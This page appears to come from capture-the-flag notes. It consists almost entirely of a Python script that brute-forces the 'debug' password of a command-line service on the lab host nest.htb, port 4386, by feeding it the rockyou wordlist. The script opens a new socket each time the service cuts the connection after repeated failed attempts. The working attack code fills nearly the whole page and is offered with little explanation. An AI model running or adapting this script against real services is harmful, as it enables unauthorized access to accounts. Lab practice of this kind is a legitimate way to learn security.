Credential Bruteforcing a CLI service

#!/usr/bin/python3
# Note: Multithreading support to be added

import socket
import sys
import codecs

# Wordlist
temp=''
with codecs.open('/usr/share/wordlists/rockyou.txt', 'r', encoding='utf-8',errors='ignore') as fdata:
        temp=fdata.read()
wl=temp.split('\n')

# Creation of new socket when the current socket connection gets closed due to multiple incorrect password attempts
def createSocket():
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.settimeout(0.5)
        s.connect(('nest.htb',4386))
        return s

# Bruteforce
def bruteforce(flag,p,s):
        # Flags are used to check for the mode i.e. banner[0]/bruteforce[1]
        if flag==1:
                tmp='debug '+p+'\r\n'
                s.sendall(tmp.encode())
        # Checks if the socket has been closed
        sc=0
        while True:
                try:
                        data=s.recv(1024)
                        print('Password:',p,'|| Response:',data)
                        if ('too many failed' in str(data).lower()):
                                print('----Socket Closed----')
                                s.close
                                return('closed')
                except:
                        #print('--2',sys.exc_info()[0])
                        break

#Main
sck=createSocket()
# Service Banner is printed when connected
bruteforce(0,'0',sck)
# i = [1,total no. of passwords in wordlist]
i=1
totalpwds=len(wl)
# Loop
while i <= totalpwds:
        p=wl[i-1]
        op=bruteforce(1,p,sck)
        print('[DEBUG] Socket Status:',op,'Passwords Done:',i)
        # If socket is closed, create a new one
        if op=="closed":
                print('----Creating new socket----')
                sck=createSocket()
                # Service Banner is printed when connected
                bruteforce(0,'0',sck)
        i=i+1
#s.close()

Last updated